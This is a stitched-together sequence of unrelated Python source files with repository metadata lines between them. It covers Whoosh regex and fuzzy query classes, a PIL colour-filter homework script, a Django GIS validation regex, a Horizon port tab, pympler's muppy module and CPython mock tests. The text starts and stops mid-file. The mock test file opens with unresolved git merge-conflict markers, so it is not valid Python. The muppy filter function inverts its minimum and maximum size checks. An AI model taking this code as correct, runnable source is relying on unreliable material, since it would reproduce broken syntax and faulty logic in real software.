Every(self.fieldname, boost=self.boost) return eq.matcher(searcher, context) else: return PatternQuery.matcher(self, searcher, context) # _btexts() implemented in PatternQuery class Regex(PatternQuery): """Matches documents that contain any terms that match a regular expression. See the Python ``re`` module for information about regular expressions. """ SPECIAL_CHARS = frozenset("{}()[].?*+^$\\") def __unicode__(self): return '%s:r"%s"' % (self.fieldname, self.text) __str__ = __unicode__ def _get_pattern(self): return self.text def _find_prefix(self, text): if "|" in text: return "" if text.startswith("^"): text = text[1:] elif text.startswith("\\A"): text = text[2:] prefix = PatternQuery._find_prefix(self, text) lp = len(prefix) if lp < len(text) and text[lp] in "*?": # we stripped something starting from * or ? - they both MAY mean # "0 times". As we had stripped starting from FIRST special char, # that implies there were only ordinary chars left of it. Thus, # the very last of them is not part of the real prefix: prefix = prefix[:-1] return prefix def matcher(self, searcher, context=None): if self.text == ".*": from whoosh.query import Every eq = Every(self.fieldname, boost=self.boost) return eq.matcher(searcher, context) else: return PatternQuery.matcher(self, searcher, context) # _btexts() implemented in PatternQuery class ExpandingTerm(MultiTerm): """Intermediate base class for queries such as FuzzyTerm and Variations that expand into multiple queries, but come from a single term. """ def has_terms(self): return True def terms(self, phrases=False): if self.field(): yield (self.field(), self.text) class FuzzyTerm(ExpandingTerm): """Matches documents containing words similar to the given term. """ __inittypes__ = dict(fieldname=str, text=text_type, boost=float, maxdist=float, prefixlength=int) def __init__(self, fieldname, text, boost=1.0, maxdist=1, prefixlength=1, constantscore=True): """ :param fieldname: The name of the field to search. :param text: The text to search for. :param boost: A boost factor to apply to scores of documents matching this query. :param maxdist: The maximum edit distance from the given text. :param prefixlength: The matched terms must share this many initial characters with 'text'. For example, if text is "light" and prefixlength is 2, then only terms starting with "li" are checked for similarity. """ self.fieldname = fieldname self.text = text self.boost = boost self.maxdist = maxdist self.prefixlength = prefixlength self.constantscore = constantscore def __eq__(self, other): return (other and self.__class__ is other.__class__ and self.fieldname == other.fieldname and self.text == other.text and self.maxdist == other.maxdist and self.prefixlength == other.prefixlength and self.boost == other.boost and self.constantscore == other.constantscore) def __repr__(self): r = "%s(%r, %r, boost=%f, maxdist=%d, prefixlength=%d)" return r % (self.__class__.__name__, self.fieldname, self.text, self.boost, self.maxdist, self.prefixlength) def __unicode__(self): r = u("%s:%s") % (self.fieldname, self.text) + u("~") if self.maxdist > 1: r += u("%d") % self.maxdist if self.boost != 1.0: r += u("^%f") % self.boost return r __str__ = __unicode__ def __hash__(self): return (hash(self.fieldname) ^ hash(self.text) ^ hash(self.boost) ^ hash(self.maxdist) ^ hash(self.prefixlength) ^ hash(self.constantscore)) def _btexts(self, ixreader): return ixreader.terms_within(self.fieldname, self.text, self.maxdist, prefix=self.prefixlength) def replace(self, fieldname, oldtext, newtext): q = copy.copy(self) if q.fieldname == fieldname and q.text == oldtext: q.text = newtext return q class Variations(ExpandingTerm): """Query that automatically searches for morphological variations of the given word in the same field. """ def __init__(self, fieldname, text, boost=1.0): self.fieldname = fieldname self.text = text self.boost = boost def __repr__(self): r = "%s(%r, %r" % (self.__class__.__name__, self.fieldname, self.text) if self.boost != 1: r += ", boost=%s" % self.boost r += ")" return r def __eq__(self, other): return (other and self.__class__ is other.__class__ and self.fieldname == other.fieldname and self.text == other.text and self.boost == other.boost) def __hash__(self): return hash(self.fieldname) ^ hash(self.text) ^ hash(self.boost) def _btexts(self, ixreader): fieldname = self.fieldname to_bytes = ixreader.schema[fieldname].to_bytes for word in variations(self.text): try: btext = to_bytes(word) except ValueError: continue if (fieldname, btext) in ixreader: yield btext def __unicode__(self): return u("%s:<%s>") % (self.fieldname, self.text) __str__ = __unicode__ def replace(self, fieldname, oldtext, newtext): q = copy.copy(self) if q.fieldname == fieldname and q.text == oldtext: q.text = newtext return q
qedi-r/home-assistant
refs/heads/dev
tests/components/sonos/__init__.py
44
"""Tests for the Sonos component."""
khoanguyen0791/cs170
refs/heads/master
CS170_homework/Asg 52.py
1
from PIL import Image #This is the pixel function: def pix_manipulate(pic): (r,g,b) = pic if r != 0 and g != 0 and b == 0: r = 0 g = 0 return r,g,b def y_block(pic,pix_func): c = pic.copy() w,h = c.size for width in range(w): for height in range(h): pix = c.getpixel((width, height)) np = pix_func(pix) c.putpixel((width, height), np) return c def y_pix(pix): (r,g,b) = pix if not (r != 0 and g != 0 and b == 0): r = 0 g = 0 b = 0 return (r,g,b) def y_pass(picture,pixelfunc): cp = picture.copy() w,h = cp.size for width in range(w): for height in range(h): pix = cp.getpixel((width,height)) np = pixelfunc(pix) cp.putpixel((width,height),np) return cp p = Image.open("yellow.jpg") newim = y_block(p,pix_manipulate) newim.show() newim.save("Yellow block.jpg") yellowpass = y_pass(p,y_pix) yellowpass.show() yellowpass.save("Yellow pass.jpg")
NullSoldier/django
refs/heads/master
django/contrib/gis/geometry/regex.py
657
import re # Regular expression for recognizing HEXEWKB and WKT. A prophylactic measure # to prevent potentially malicious input from reaching the underlying C # library. Not a substitute for good Web security programming practices. hex_regex = re.compile(r'^[0-9A-F]+$', re.I) wkt_regex = re.compile(r'^(SRID=(?P<srid>\-?\d+);)?' r'(?P<wkt>' r'(?P<type>POINT|LINESTRING|LINEARRING|POLYGON|MULTIPOINT|' r'MULTILINESTRING|MULTIPOLYGON|GEOMETRYCOLLECTION)' r'[ACEGIMLONPSRUTYZ\d,\.\-\(\) ]+)$', re.I) json_regex = re.compile(r'^(\s+)?\{.*}(\s+)?$', re.DOTALL)
spring-week-topos/horizon-week
refs/heads/spring-week
openstack_dashboard/dashboards/admin/networks/ports/tabs.py
8
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012 NEC Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from django.core.urlresolvers import reverse from django.utils.translation import ugettext_lazy as _ from horizon import exceptions from horizon import tabs from openstack_dashboard import api class OverviewTab(tabs.Tab): name = _("Overview") slug = "overview" template_name = "project/networks/ports/_detail_overview.html" def get_context_data(self, request): port_id = self.tab_group.kwargs['port_id'] try: port = api.neutron.port_get(self.request, port_id) except Exception: redirect = reverse('horizon:admin:networks:index') msg = _('Unable to retrieve port details.') exceptions.handle(request, msg, redirect=redirect) return {'port': port} class PortDetailTabs(tabs.TabGroup): slug = "port_details" tabs = (OverviewTab,)
lrq3000/author-detector
refs/heads/master
authordetector/lib/debug/pympler/muppy.py
7
import gc from pympler import summary from pympler.util import compat from inspect import isframe, stack # default to asizeof if sys.getsizeof is not available (prior to Python 2.6) try: from sys import getsizeof as _getsizeof except ImportError: from pympler.asizeof import flatsize _getsizeof = flatsize __TPFLAGS_HAVE_GC = 1<<14 def get_objects(remove_dups=True, include_frames=False): """Return a list of all known objects excluding frame objects. If (outer) frame objects shall be included, pass `include_frames=True`. In order to prevent building reference cycles, the current frame object (of the caller of get_objects) is ignored. This will not prevent creating reference cycles if the object list is passed up the call-stack. Therefore, frame objects are not included by default. Keyword arguments: remove_dups -- if True, all duplicate objects will be removed. include_frames -- if True, includes frame objects. """ gc.collect() # Do not initialize local variables before calling gc.get_objects or those # will be included in the list. Furthermore, ignore frame objects to # prevent reference cycles. tmp = gc.get_objects() tmp = [o for o in tmp if not isframe(o)] res = [] for o in tmp: # gc.get_objects returns only container objects, but we also want # the objects referenced by them refs = get_referents(o) for ref in refs: if not _is_containerobject(ref): # we already got the container objects, now we only add # non-container objects res.append(ref) res.extend(tmp) if remove_dups: res = _remove_duplicates(res) if include_frames: for sf in stack()[2:]: res.append(sf[0]) return res def get_size(objects): """Compute the total size of all elements in objects.""" res = 0 for o in objects: try: res += _getsizeof(o) except AttributeError: print("IGNORING: type=%s; o=%s" % (str(type(o)), str(o))) return res def get_diff(left, right): """Get the difference of both lists. The result will be a dict with this form {'+': [], '-': []}. Items listed in '+' exist only in the right list, items listed in '-' exist only in the left list. """ res = {'+': [], '-': []} def partition(objects): """Partition the passed object list.""" res = {} for o in objects: t = type(o) if type(o) not in res: res[t] = [] res[t].append(o) return res def get_not_included(foo, bar): """Compare objects from foo with objects defined in the values of bar (set of partitions). Returns a list of all objects included in list, but not dict values. """ res = [] for o in foo: if not compat.object_in_list(type(o), bar): res.append(o) elif not compat.object_in_list(o, bar[type(o)]): res.append(o) return res # Create partitions of both lists. This will reduce the time required for # the comparison left_objects = partition(left) right_objects = partition(right) # and then do the diff res['+'] = get_not_included(right, left_objects) res['-'] = get_not_included(left, right_objects) return res def sort(objects): """Sort objects by size in bytes.""" objects = sorted(objects, key=_getsizeof) return objects def filter(objects, Type=None, min=-1, max=-1): #PYCHOK muppy filter """Filter objects. The filter can be by type, minimum size, and/or maximum size. Keyword arguments: Type -- object type to filter by min -- minimum object size max -- maximum object size """ res = [] if min > max: raise ValueError("minimum must be smaller than maximum") if Type is not None: res = [o for o in objects if isinstance(o, Type)] if min > -1: res = [o for o in res if _getsizeof(o) < min] if max > -1: res = [o for o in res if _getsizeof(o) > max] return res def get_referents(object, level=1): """Get all referents of an object up to a certain level. The referents will not be returned in a specific order and will not contain duplicate objects. Duplicate objects will be removed. Keyword arguments: level -- level of indirection to which referents considered. This function is recursive. """ res = gc.get_referents(object) level -= 1 if level > 0: for o in res: res.extend(get_referents(o, level)) res = _remove_duplicates(res) return res def _get_usage(function, *args): """Test if more memory is used after the function has been called. The function will be invoked twice and only the second measurement will be considered. Thus, memory used in initialisation (e.g. loading modules) will not be included in the result. The goal is to identify memory leaks caused by functions which use more and more memory. Any arguments next to the function will be passed on to the function on invocation. Note that this function is currently experimental, because it is not tested thoroughly and performs poorly. """ # The usage of a function is calculated by creating one summary of all # objects before the function is invoked and afterwards. These summaries # are compared and the diff is returned. # This function works in a 2-steps process. Before the actual function is # invoked an empty dummy function is measurement to identify the overhead # involved in the measuring process. This overhead then is subtracted from # the measurement performed on the passed function. The result reflects the # actual usage of a function call. # Also, a measurement is performed twice, allowing the adjustment to # initializing things, e.g. modules res = None def _get_summaries(function, *args): """Get a 2-tuple containing one summary from before, and one summary from after the function has been invoked. """ s_before = summary.summarize(get_objects()) function(*args) s_after = summary.summarize(get_objects()) return (s_before, s_after) def _get_usage(function, *args): """Get the usage of a function call. This function is to be used only internally. The 'real' get_usage function is a wrapper around _get_usage, but the workload is done here. """ res = [] # init before calling (s_before, s_after) = _get_summaries(function, *args) # ignore all objects used for the measurement ignore = [] if s_before != s_after: ignore.append(s_before) for row in s_before: # ignore refs from summary and frame (loop) if len(gc.get_referrers(row)) == 2: ignore.append(row) for item in row: # ignore refs from summary and frame (loop) if len(gc.get_referrers(item)) == 2: ignore.append(item) for o in ignore: s_after = summary._subtract(s_after, o) res = summary.get_diff(s_before, s_after) return summary._sweep(res) # calibrate; twice for initialization def noop(): pass offset = _get_usage(noop) offset = _get_usage(noop) # perform operation twice to handle objects possibly used in # initialisation tmp = _get_usage(function, *args) tmp = _get_usage(function, *args) tmp = summary.get_diff(offset, tmp) tmp = summary._sweep(tmp) if len(tmp) != 0: res = tmp return res def _is_containerobject(o): """Is the passed object a container object.""" if type(o).__flags__ & __TPFLAGS_HAVE_GC == 0: return False else: return True def _remove_duplicates(objects): """Remove duplicate objects. Inspired by http://www.peterbe.com/plog/uniqifiers-benchmark """ seen = {} result = [] for item in objects: marker = id(item) if marker in seen: continue seen[marker] = 1 result.append(item) return result def print_summary(): """Print a summary of all known objects.""" summary.print_(summary.summarize(get_objects()))
ArcherSys/ArcherSys
refs/heads/master
Lib/unittest/test/testmock/testmock.py
1
<<<<<<< HEAD <<<<<<< HEAD import copy import sys import unittest from unittest.test.testmock.support import is_instance from unittest import mock from unittest.mock import ( call, DEFAULT, patch, sentinel, MagicMock, Mock, NonCallableMock, NonCallableMagicMock, _CallList, create_autospec ) class Iter(object): def __init__(self): self.thing = iter(['this', 'is', 'an', 'iter']) def __iter__(self): return self def next(self): return next(self.thing) __next__ = next class Something(object): def meth(self, a, b, c, d=None): pass @classmethod def cmeth(cls, a, b, c, d=None): pass @staticmethod def smeth(a, b, c, d=None): pass class MockTest(unittest.TestCase): def test_all(self): # if __all__ is badly defined then import * will raise an error # We have to exec it because you can't import * inside a method # in Python 3 exec("from unittest.mock import *") def test_constructor(self): mock = Mock() self.assertFalse(mock.called, "called not initialised correctly") self.assertEqual(mock.call_count, 0, "call_count not initialised correctly") self.assertTrue(is_instance(mock.return_value, Mock), "return_value not initialised correctly") self.assertEqual(mock.call_args, None, "call_args not initialised correctly") self.assertEqual(mock.call_args_list, [], "call_args_list not initialised correctly") self.assertEqual(mock.method_calls, [], "method_calls not initialised correctly") # Can't use hasattr for this test as it always returns True on a mock self.assertNotIn('_items', mock.__dict__, "default mock should not have '_items' attribute") self.assertIsNone(mock._mock_parent, "parent not initialised correctly") self.assertIsNone(mock._mock_methods, "methods not initialised correctly") self.assertEqual(mock._mock_children, {}, "children not initialised incorrectly") def test_return_value_in_constructor(self): mock = Mock(return_value=None) self.assertIsNone(mock.return_value, "return value in constructor not honoured") def test_repr(self): mock = Mock(name='foo') self.assertIn('foo', repr(mock)) self.assertIn("'%s'" % id(mock), repr(mock)) mocks = [(Mock(), 'mock'), (Mock(name='bar'), 'bar')] for mock, name in mocks: self.assertIn('%s.bar' % name, repr(mock.bar)) self.assertIn('%s.foo()' % name, repr(mock.foo())) self.assertIn('%s.foo().bing' % name, repr(mock.foo().bing)) self.assertIn('%s()' % name, repr(mock())) self.assertIn('%s()()' % name, repr(mock()())) self.assertIn('%s()().foo.bar.baz().bing' % name, repr(mock()().foo.bar.baz().bing)) def test_repr_with_spec(self): class X(object): pass mock = Mock(spec=X) self.assertIn(" spec='X' ", repr(mock)) mock = Mock(spec=X()) self.assertIn(" spec='X' ", repr(mock)) mock = Mock(spec_set=X) self.assertIn(" spec_set='X' ", repr(mock)) mock = Mock(spec_set=X()) self.assertIn(" spec_set='X' ", repr(mock)) mock = Mock(spec=X, name='foo') self.assertIn(" spec='X' ", repr(mock)) self.assertIn(" name='foo' ", repr(mock)) mock = Mock(name='foo') self.assertNotIn("spec", repr(mock)) mock = Mock() self.assertNotIn("spec", repr(mock)) mock = Mock(spec=['foo']) self.assertNotIn("spec", repr(mock)) def test_side_effect(self): mock = Mock() def effect(*args, **kwargs): raise SystemError('kablooie') mock.side_effect = effect self.assertRaises(SystemError, mock, 1, 2, fish=3) mock.assert_called_with(1, 2, fish=3) results = [1, 2, 3] def effect(): return results.pop() mock.side_effect = effect self.assertEqual([mock(), mock(), mock()], [3, 2, 1], "side effect not used correctly") mock = Mock(side_effect=sentinel.SideEffect) self.assertEqual(mock.side_effect, sentinel.SideEffect, "side effect in constructor not used") def side_effect(): return DEFAULT mock = Mock(side_effect=side_effect, return_value=sentinel.RETURN) self.assertEqual(mock(), sentinel.RETURN) def test_autospec_side_effect(self): # Test for issue17826 results = [1, 2, 3] def effect(): return results.pop() def f(): pass mock = create_autospec(f) mock.side_effect = [1, 2, 3] self.assertEqual([mock(), mock(), mock()], [1, 2, 3], "side effect not used correctly in create_autospec") # Test where side effect is a callable results = [1, 2, 3] mock = create_autospec(f) mock.side_effect = effect self.assertEqual([mock(), mock(), mock()], [3, 2, 1], "callable side effect not used correctly") @unittest.skipUnless('java' in sys.platform, 'This test only applies to Jython') def test_java_exception_side_effect(self): import java mock = Mock(side_effect=java.lang.RuntimeException("Boom!")) # can't use assertRaises with java exceptions try: mock(1, 2, fish=3) except java.lang.RuntimeException: pass else: self.fail('java exception not raised') mock.assert_called_with(1,2, fish=3) def test_reset_mock(self): parent = Mock() spec = ["something"] mock = Mock(name="child", parent=parent, spec=spec) mock(sentinel.Something, something=sentinel.SomethingElse) something = mock.something mock.something() mock.side_effect = sentinel.SideEffect return_value = mock.return_value return_value() mock.reset_mock() self.assertEqual(mock._mock_name, "child", "name incorrectly reset") self.assertEqual(mock._mock_parent, parent, "parent incorrectly reset") self.assertEqual(mock._mock_methods, spec, "methods incorrectly reset") self.assertFalse(mock.called, "called not reset") self.assertEqual(mock.call_count, 0, "call_count not reset") self.assertEqual(mock.call_args, None, "call_args not reset") self.assertEqual(mock.call_args_list, [], "call_args_list not reset") self.assertEqual(mock.method_calls, [], "method_calls not initialised correctly: %r != %r" % (mock.method_calls, [])) self.assertEqual(mock.mock_calls, []) self.assertEqual(mock.side_effect, sentinel.SideEffect, "side_effect incorrectly reset") self.assertEqual(mock.return_value, return_value, "return_value incorrectly reset") self.assertFalse(return_value.called, "return value mock not reset") self.assertEqual(mock._mock_children, {'something': something}, "children reset incorrectly") self.assertEqual(mock.something, something, "children incorrectly cleared") self.assertFalse(mock.something.called, "child not reset") def test_reset_mock_recursion(self): mock = Mock() mock.return_value = mock # used to cause recursion mock.reset_mock() def test_call(self): mock = Mock() self.assertTrue(is_instance(mock.return_value, Mock), "Default return_value should be a Mock") result = mock() self.assertEqual(mock(), result, "different result from consecutive calls") mock.reset_mock() ret_val = mock(sentinel.Arg) self.assertTrue(mock.called, "called not set") self.assertEqual(mock.call_count, 1, "call_count incoreect") self.assertEqual(mock.call_args, ((sentinel.Arg,), {}), "call_args not set") self.assertEqual(mock.call_args_list, [((sentinel.Arg,), {})], "call_args_list not initialised correctly") mock.return_value = sentinel.ReturnValue ret_val = mock(sentinel.Arg, key=sentinel.KeyArg) self.assertEqual(ret_val, sentinel.ReturnValue, "incorrect return value") self.assertEqual(mock.call_count, 2, "call_count incorrect") self.assertEqual(mock.call_args, ((sentinel.Arg,), {'key': sentinel.KeyArg}), "call_args not set") self.assertEqual(mock.call_args_list, [ ((sentinel.Arg,), {}), ((sentinel.Arg,), {'key': sentinel.KeyArg}) ], "call_args_list not set") def test_call_args_comparison(self): mock = Mock() mock() mock(sentinel.Arg) mock(kw=sentinel.Kwarg) mock(sentinel.Arg, kw=sentinel.Kwarg) self.assertEqual(mock.call_args_list, [ (), ((sentinel.Arg,),), ({"kw": sentinel.Kwarg},), ((sentinel.Arg,), {"kw": sentinel.Kwarg}) ]) self.assertEqual(mock.call_args, ((sentinel.Arg,), {"kw": sentinel.Kwarg})) def test_assert_called_with(self): mock = Mock() mock() # Will raise an exception if it fails mock.assert_called_with() self.assertRaises(AssertionError, mock.assert_called_with, 1) mock.reset_mock() self.assertRaises(AssertionError, mock.assert_called_with) mock(1, 2, 3, a='fish', b='nothing') mock.assert_called_with(1, 2, 3, a='fish', b='nothing') def test_assert_called_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock.assert_called_with(1, 2, 3) mock.assert_called_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_with, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_called_with(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) def test_assert_called_with_method_spec(self): def _check(mock): mock(1, b=2, c=3) mock.assert_called_with(1, 2, 3) mock.assert_called_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_with, 1, b=3, c=2) mock = Mock(spec=Something().meth) _check(mock) mock = Mock(spec=Something.cmeth) _check(mock) mock = Mock(spec=Something().cmeth) _check(mock) mock = Mock(spec=Something.smeth) _check(mock) mock = Mock(spec=Something().smeth) _check(mock) def test_assert_called_once_with(self): mock = Mock() mock() # Will raise an exception if it fails mock.assert_called_once_with() mock() self.assertRaises(AssertionError, mock.assert_called_once_with) mock.reset_mock() self.assertRaises(AssertionError, mock.assert_called_once_with) mock('foo', 'bar', baz=2) mock.assert_called_once_with('foo', 'bar', baz=2) mock.reset_mock() mock('foo', 'bar', baz=2) self.assertRaises( AssertionError, lambda: mock.assert_called_once_with('bob', 'bar', baz=2) ) def test_assert_called_once_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock.assert_called_once_with(1, 2, 3) mock.assert_called_once_with(a=1, b=2, c=3) self.assertRaises(AssertionError, mock.assert_called_once_with, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_called_once_with(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) # Mock called more than once => always fails mock(4, 5, 6) self.assertRaises(AssertionError, mock.assert_called_once_with, 1, 2, 3) self.assertRaises(AssertionError, mock.assert_called_once_with, 4, 5, 6) def test_attribute_access_returns_mocks(self): mock = Mock() something = mock.something self.assertTrue(is_instance(something, Mock), "attribute isn't a mock") self.assertEqual(mock.something, something, "different attributes returned for same name") # Usage example mock = Mock() mock.something.return_value = 3 self.assertEqual(mock.something(), 3, "method returned wrong value") self.assertTrue(mock.something.called, "method didn't record being called") def test_attributes_have_name_and_parent_set(self): mock = Mock() something = mock.something self.assertEqual(something._mock_name, "something", "attribute name not set correctly") self.assertEqual(something._mock_parent, mock, "attribute parent not set correctly") def test_method_calls_recorded(self): mock = Mock() mock.something(3, fish=None) mock.something_else.something(6, cake=sentinel.Cake) self.assertEqual(mock.something_else.method_calls, [("something", (6,), {'cake': sentinel.Cake})], "method calls not recorded correctly") self.assertEqual(mock.method_calls, [ ("something", (3,), {'fish': None}), ("something_else.something", (6,), {'cake': sentinel.Cake}) ], "method calls not recorded correctly") def test_method_calls_compare_easily(self): mock = Mock() mock.something() self.assertEqual(mock.method_calls, [('something',)]) self.assertEqual(mock.method_calls, [('something', (), {})]) mock = Mock() mock.something('different') self.assertEqual(mock.method_calls, [('something', ('different',))]) self.assertEqual(mock.method_calls, [('something', ('different',), {})]) mock = Mock() mock.something(x=1) self.assertEqual(mock.method_calls, [('something', {'x': 1})]) self.assertEqual(mock.method_calls, [('something', (), {'x': 1})]) mock = Mock() mock.something('different', some='more') self.assertEqual(mock.method_calls, [ ('something', ('different',), {'some': 'more'}) ]) def test_only_allowed_methods_exist(self): for spec in ['something'], ('something',): for arg in 'spec', 'spec_set': mock = Mock(**{arg: spec}) # this should be allowed mock.something self.assertRaisesRegex( AttributeError, "Mock object has no attribute 'something_else'", getattr, mock, 'something_else' ) def test_from_spec(self): class Something(object): x = 3 __something__ = None def y(self): pass def test_attributes(mock): # should work mock.x mock.y mock.__something__ self.assertRaisesRegex( AttributeError, "Mock object has no attribute 'z'", getattr, mock, 'z' ) self.assertRaisesRegex( AttributeError, "Mock object has no attribute '__foobar__'", getattr, mock, '__foobar__' ) test_attributes(Mock(spec=Something)) test_attributes(Mock(spec=Something())) def test_wraps_calls(self): real = Mock() mock = Mock(wraps=real) self.assertEqual(mock(), real()) real.reset_mock() mock(1, 2, fish=3) real.assert_called_with(1, 2, fish=3) def test_wraps_call_with_nondefault_return_value(self): real = Mock() mock = Mock(wraps=real) mock.return_value = 3 self.assertEqual(mock(), 3) self.assertFalse(real.called) def test_wraps_attributes(self): class Real(object): attribute = Mock() real = Real() mock = Mock(wraps=real) self.assertEqual(mock.attribute(), real.attribute()) self.assertRaises(AttributeError, lambda: mock.fish) self.assertNotEqual(mock.attribute, real.attribute) result = mock.attribute.frog(1, 2, fish=3) Real.attribute.frog.assert_called_with(1, 2, fish=3) self.assertEqual(result, Real.attribute.frog()) def test_exceptional_side_effect(self): mock = Mock(side_effect=AttributeError) self.assertRaises(AttributeError, mock) mock = Mock(side_effect=AttributeError('foo')) self.assertRaises(AttributeError, mock) def test_baseexceptional_side_effect(self): mock = Mock(side_effect=KeyboardInterrupt) self.assertRaises(KeyboardInterrupt, mock) mock = Mock(side_effect=KeyboardInterrupt('foo')) self.assertRaises(KeyboardInterrupt, mock) def test_assert_called_with_message(self): mock = Mock() self.assertRaisesRegex(AssertionError, 'Not called', mock.assert_called_with) def test_assert_called_once_with_message(self): mock = Mock(name='geoffrey') self.assertRaisesRegex(AssertionError, r"Expected 'geoffrey' to be called once\.", mock.assert_called_once_with) def test__name__(self): mock = Mock() self.assertRaises(AttributeError, lambda: mock.__name__) mock.__name__ = 'foo' self.assertEqual(mock.__name__, 'foo') def test_spec_list_subclass(self): class Sub(list): pass mock = Mock(spec=Sub(['foo'])) mock.append(3) mock.append.assert_called_with(3) self.assertRaises(AttributeError, getattr, mock, 'foo') def test_spec_class(self): class X(object): pass mock = Mock(spec=X) self.assertIsInstance(mock, X) mock = Mock(spec=X()) self.assertIsInstance(mock, X) self.assertIs(mock.__class__, X) self.assertEqual(Mock().__class__.__name__, 'Mock') mock = Mock(spec_set=X) self.assertIsInstance(mock, X) mock = Mock(spec_set=X()) self.assertIsInstance(mock, X) def test_setting_attribute_with_spec_set(self): class X(object): y = 3 mock = Mock(spec=X) mock.x = 'foo' mock = Mock(spec_set=X) def set_attr(): mock.x = 'foo' mock.y = 'foo' self.assertRaises(AttributeError, set_attr) def test_copy(self): current = sys.getrecursionlimit() self.addCleanup(sys.setrecursionlimit, current) # can't use sys.maxint as this doesn't exist in Python 3 sys.setrecursionlimit(int(10e8)) # this segfaults without the fix in place copy.copy(Mock()) def test_subclass_with_properties(self): class SubClass(Mock): def _get(self): return 3 def _set(self, value): raise NameError('strange error') some_attribute = property(_get, _set) s = SubClass(spec_set=SubClass) self.assertEqual(s.some_attribute, 3) def test(): s.some_attribute = 3 self.assertRaises(NameError, test) def test(): s.foo = 'bar' self.assertRaises(AttributeError, test) def test_setting_call(self): mock = Mock() def __call__(self, a): return self._mock_call(a) type(mock).__call__ = __call__ mock('one') mock.assert_called_with('one') self.assertRaises(TypeError, mock, 'one', 'two') def test_dir(self): mock = Mock() attrs = set(dir(mock)) type_attrs = set([m for m in dir(Mock) if not m.startswith('_')]) # all public attributes from the type are included self.assertEqual(set(), type_attrs - attrs) # creates these attributes mock.a, mock.b self.assertIn('a', dir(mock)) self.assertIn('b', dir(mock)) # instance attributes mock.c = mock.d = None self.assertIn('c', dir(mock)) self.assertIn('d', dir(mock)) # magic methods mock.__iter__ = lambda s: iter([]) self.assertIn('__iter__', dir(mock)) def test_dir_from_spec(self): mock = Mock(spec=unittest.TestCase) testcase_attrs = set(dir(unittest.TestCase)) attrs = set(dir(mock)) # all attributes from the spec are included self.assertEqual(set(), testcase_attrs - attrs) # shadow a sys attribute mock.version = 3 self.assertEqual(dir(mock).count('version'), 1) def test_filter_dir(self): patcher = patch.object(mock, 'FILTER_DIR', False) patcher.start() try: attrs = set(dir(Mock())) type_attrs = set(dir(Mock)) # ALL attributes from the type are included self.assertEqual(set(), type_attrs - attrs) finally: patcher.stop() def test_configure_mock(self): mock = Mock(foo='bar') self.assertEqual(mock.foo, 'bar') mock = MagicMock(foo='bar') self.assertEqual(mock.foo, 'bar') kwargs = {'side_effect': KeyError, 'foo.bar.return_value': 33, 'foo': MagicMock()} mock = Mock(**kwargs) self.assertRaises(KeyError, mock) self.assertEqual(mock.foo.bar(), 33) self.assertIsInstance(mock.foo, MagicMock) mock = Mock() mock.configure_mock(**kwargs) self.assertRaises(KeyError, mock) self.assertEqual(mock.foo.bar(), 33) self.assertIsInstance(mock.foo, MagicMock) def assertRaisesWithMsg(self, exception, message, func, *args, **kwargs): # needed because assertRaisesRegex doesn't work easily with newlines try: func(*args, **kwargs) except: instance = sys.exc_info()[1] self.assertIsInstance(instance, exception) else: self.fail('Exception %r not raised' % (exception,)) msg = str(instance) self.assertEqual(msg, message) def test_assert_called_with_failure_message(self): mock = NonCallableMock() expected = "mock(1, '2', 3, bar='foo')" message = 'Expected call: %s\nNot called' self.assertRaisesWithMsg( AssertionError, message % (expected,), mock.assert_called_with, 1, '2', 3, bar='foo' ) mock.foo(1, '2', 3, foo='foo') asserters = [ mock.foo.assert_called_with, mock.foo.assert_called_once_with ] for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(1, '2', 3, bar='foo')" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, 1, '2', 3, bar='foo' ) # just kwargs for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(bar='foo')" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, bar='foo' ) # just args for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo(1, 2, 3)" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth, 1, 2, 3 ) # empty for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo()" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth ) def test_mock_calls(self): mock = MagicMock() # need to do this because MagicMock.mock_calls used to just return # a MagicMock which also returned a MagicMock when __eq__ was called self.assertIs(mock.mock_calls == [], True) mock = MagicMock() mock() expected = [('', (), {})] self.assertEqual(mock.mock_calls, expected) mock.foo() expected.append(call.foo()) self.assertEqual(mock.mock_calls, expected) # intermediate mock_calls work too self.assertEqual(mock.foo.mock_calls, [('', (), {})]) mock = MagicMock() mock().foo(1, 2, 3, a=4, b=5) expected = [ ('', (), {}), ('().foo', (1, 2, 3), dict(a=4, b=5)) ] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock.return_value.foo.mock_calls, [('', (1, 2, 3), dict(a=4, b=5))]) self.assertEqual(mock.return_value.mock_calls, [('foo', (1, 2, 3), dict(a=4, b=5))]) mock = MagicMock() mock().foo.bar().baz() expected = [ ('', (), {}), ('().foo.bar', (), {}), ('().foo.bar().baz', (), {}) ] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock().mock_calls, call.foo.bar().baz().call_list()) for kwargs in dict(), dict(name='bar'): mock = MagicMock(**kwargs) int(mock.foo) expected = [('foo.__int__', (), {})] self.assertEqual(mock.mock_calls, expected) mock = MagicMock(**kwargs) mock.a()() expected = [('a', (), {}), ('a()', 